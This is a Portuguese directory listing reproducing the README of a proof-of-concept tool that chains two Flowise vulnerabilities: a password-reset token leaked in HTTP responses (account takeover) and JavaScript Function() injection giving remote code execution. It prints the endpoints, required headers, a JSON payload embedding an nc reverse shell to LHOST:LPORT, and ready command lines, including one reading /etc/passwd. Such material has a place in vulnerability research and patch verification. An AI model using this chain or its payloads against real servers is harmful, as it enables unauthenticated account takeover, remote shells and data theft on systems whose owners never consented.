Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-58434-AND-59528-POC — PoC modular para CVE-2025-58434 (tomada de conta) e CVE-2025-59528 (RCE) no Flowise. Automatiza toda a cadeia de ataque, desde o vazamento de token não autenticado até a execução remota de código via reverse shell ou comando personalizado. | Kitploit
Ferramentas/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC modular para CVE-2025-58434 (tomada de conta) e CVE-2025-59528 (RCE) no Flowise. Automatiza toda a cadeia de ataque, desde o vazamento de token não autenticado até a execução remota de código via reverse shell ou comando personalizado.

Ver Repositório
199há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada.
Executar esta ferramenta contra sistemas que você não possui ou sem permissão escrita para testar é ilegal.


Índice

  • Visão Geral
  • Detalhes das Vulnerabilidades
    • CVE-2025-58434 — Tomada de Conta
    • CVE-2025-59528 — Execução Remota de Código
  • Cadeia de Ataque Completa
  • Versões Afetadas
  • Estrutura do Repositório
  • Requisitos
  • Instalação
  • Uso
    • Comportamento Padrão
    • Tela de Ajuda
    • Modo Cadeia
    • Módulo — ATO
    • Módulo — Login
    • Módulo — RCE
  • Referência de Flags
  • Reverse Shell vs Comando Personalizado
  • Exemplo de Saída
  • Remediação
  • Linha do Tempo de Divulgação
  • Referências
  • Aviso Legal

Visão Geral

Este repositório combina duas vulnerabilidades críticas no Flowise em uma única ferramenta de PoC modular.

CVE-2025-58434CVE-2025-59528
TipoTomada de ContaExecução Remota de Código
Autenticação NecessáriaNenhumaSim (qualquer conta válida)
CVSS9.8 CríticoCrítico
AfetadosNuvem + Self-hostedSelf-hosted

As duas vulnerabilidades se encadeiam naturalmente: a CVE-2025-58434 fornece tomada de conta não autenticada, o que satisfaz o requisito de autenticação da CVE-2025-59528 — alcançando RCE não autenticada em uma única execução automatizada.


Detalhes das Vulnerabilidades

CVE-2025-58434 — Tomada de Conta

Causa raiz: O endpoint forgot-password retorna o token de redefinição de senha (tempToken) diretamente no corpo da resposta HTTP, em vez de enviá-lo apenas por e-mail.

Etapas do ataque:

  1. POST /api/v1/account/forgot-password com qualquer e-mail registrado
  2. Leia o tempToken da resposta JSON — sem precisar acessar o e-mail
  3. POST /api/v1/account/reset-password com o token vazado → defina uma nova senha
  4. Faça login como a vítima

Resposta vazada (resumida):

{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Execução Remota de Código

Causa raiz: O nó CustomMCP passa o mcpServerConfig fornecido pelo usuário diretamente para o construtor Function() do JavaScript, sem sanitização. Como o Flowise roda em Node.js, o código injetado tem acesso total a child_process, fs e todos os módulos nativos do Node.js.

Caminho de código vulnerável:

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← entrada de usuário não sanitizada

Cabeçalhos necessários:

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Payload de injeção padrão (reverse shell):

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Nota: Os payloads de reverse shell usam cp.exec() (assíncrono / fire-and-forget) para que a requisição HTTP retorne imediatamente e a ferramenta não sofra timeout. Comandos comuns usam cp.execSync() e retornam a saída inline.


Cadeia de Ataque Completa

Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token leaked in response
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO complete
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Attacker's nc listener ←─────────────── Server connects back
   ✓  Full RCE from zero credentials

Versões Afetadas

ComponenteStatus
Flowise Cloud (cloud.flowiseai.com)Afetado pela CVE-2025-58434
Flowise self-hosted (todas as versões anteriores ao patch)Afetado por ambas as CVEs

Consulte os avisos de segurança oficiais do Flowise para os números das versões corrigidas.


Estrutura do Repositório

flowise-dual-cve-poc/
├── flowise_poc.py      # Main PoC — all modules + chain mode
├── requirements.txt    # Python dependencies
├── README.md           # This file
└── DISCLAIMER.md       # Full legal notice

Requisitos

  • Python 3.7+
  • Biblioteca requests

Instalação

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Uso

Comportamento Padrão

Nenhuma flag de modo é necessária. Se você executar o script sem --chain ou --module, ele roda automaticamente no modo de cadeia completo. O payload de RCE padrão é um reverse shell — basta fornecer --lhost e --lport.

# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Inicie seu listener antes de executar:

nc -lvnp 4444

Tela de Ajuda

python3 flowise_poc.py -h

Modo Cadeia

Executa todas as quatro etapas de ponta a ponta: vazar token → redefinir senha → login → RCE.

# Reverse shell (default payload)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

Módulo — ATO

Vaza o tempToken e redefine a senha da conta. Para antes do login/RCE.

Baixar ferramenta